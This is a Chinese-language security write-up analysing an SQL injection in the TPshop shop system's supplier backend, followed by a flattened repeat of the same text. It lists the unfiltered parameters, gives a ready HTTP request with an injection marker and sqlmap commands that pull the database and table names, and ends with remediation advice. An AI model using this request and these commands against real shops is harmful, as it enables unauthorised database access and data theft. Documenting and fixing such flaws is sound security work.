某Shop供应商后台SQL Injection(一)
字数 899 2025-08-26 22:11:28

TPshop供应商后台SQL注入漏洞分析与利用

0x01 漏洞概述

TPshop(Thinkphp shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统。该系统在供应商后台的Goods.php文件中存在SQL注入漏洞,攻击者可以通过构造恶意请求获取数据库敏感信息。

0x02 漏洞分析

受影响文件

/Application/supplier/Controller/Goods.php中的ajaxGoodsList方法

漏洞代码分析

  1. 参数处理缺陷

    • brand_id参数直接拼接到WHERE语句中(第47行)
    • is_on_sale参数直接拼接到WHERE语句中(第48行)
    • key_word参数经过无意义处理后拼接到WHERE语句中作为模糊查询(第51-53行)
    • orderby1orderby2参数直接拼接为ORDER BY语句(第72-73行)
  2. 关键问题

    • 所有参数外部可控且无任何过滤
    • 直接拼接SQL语句导致注入

0x03 漏洞利用

可利用参数

  • brand_id
  • is_on_sale
  • key_word
  • orderby1 (POST参数)
  • orderby2 (POST参数)

复现步骤

  1. 构造恶意请求
POST /index.php/Supplier/goods/ajaxGoodsList/brand_id/1*/is_on_sale/1/key_word/1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

orderby1=brand_id&orderby2=asc
  1. 使用sqlmap自动化利用
# 基本检测
sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql"

# 获取当前数据库
sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" --current-db

# 获取表名
sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x04 漏洞修复建议

  1. 参数过滤

    • 对所有输入参数进行严格的类型检查和过滤
    • 使用白名单机制验证参数值
  2. 使用预处理语句

    • 使用PDO或mysqli的预处理功能
    • 避免直接拼接SQL语句
  3. 权限控制

    • 限制供应商后台的访问权限
    • 实现最小权限原则

0x05 技术要点总结

  1. 注入点识别

    • 关注直接拼接SQL语句的代码段
    • 特别注意WHERE和ORDER BY子句
  2. 利用技巧

    • 多个参数均可触发漏洞
    • 可通过GET和POST两种方式注入
  3. 防御措施

    • 输入验证
    • 参数化查询
    • 错误信息处理

0x06 扩展思考

  1. 框架安全性

    • ThinkPHP框架的常见安全问题
    • ORM与原生SQL的安全对比
  2. 自动化检测

    • 如何自动化识别此类漏洞
    • 静态代码分析工具的使用
  3. 业务影响

    • 供应商后台漏洞可能导致的业务风险
    • 数据泄露的潜在后果
TPshop供应商后台SQL注入漏洞分析与利用 0x01 漏洞概述 TPshop(Thinkphp shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统。该系统在供应商后台的 Goods.php 文件中存在SQL注入漏洞,攻击者可以通过构造恶意请求获取数据库敏感信息。 0x02 漏洞分析 受影响文件 /Application/supplier/Controller/Goods.php 中的 ajaxGoodsList 方法 漏洞代码分析 参数处理缺陷 : brand_id 参数直接拼接到WHERE语句中(第47行) is_on_sale 参数直接拼接到WHERE语句中(第48行) key_word 参数经过无意义处理后拼接到WHERE语句中作为模糊查询(第51-53行) orderby1 和 orderby2 参数直接拼接为ORDER BY语句(第72-73行) 关键问题 : 所有参数外部可控且无任何过滤 直接拼接SQL语句导致注入 0x03 漏洞利用 可利用参数 brand_id is_on_sale key_word orderby1 (POST参数) orderby2 (POST参数) 复现步骤 构造恶意请求 : 使用sqlmap自动化利用 : 0x04 漏洞修复建议 参数过滤 : 对所有输入参数进行严格的类型检查和过滤 使用白名单机制验证参数值 使用预处理语句 : 使用PDO或mysqli的预处理功能 避免直接拼接SQL语句 权限控制 : 限制供应商后台的访问权限 实现最小权限原则 0x05 技术要点总结 注入点识别 : 关注直接拼接SQL语句的代码段 特别注意WHERE和ORDER BY子句 利用技巧 : 多个参数均可触发漏洞 可通过GET和POST两种方式注入 防御措施 : 输入验证 参数化查询 错误信息处理 0x06 扩展思考 框架安全性 : ThinkPHP框架的常见安全问题 ORM与原生SQL的安全对比 自动化检测 : 如何自动化识别此类漏洞 静态代码分析工具的使用 业务影响 : 供应商后台漏洞可能导致的业务风险 数据泄露的潜在后果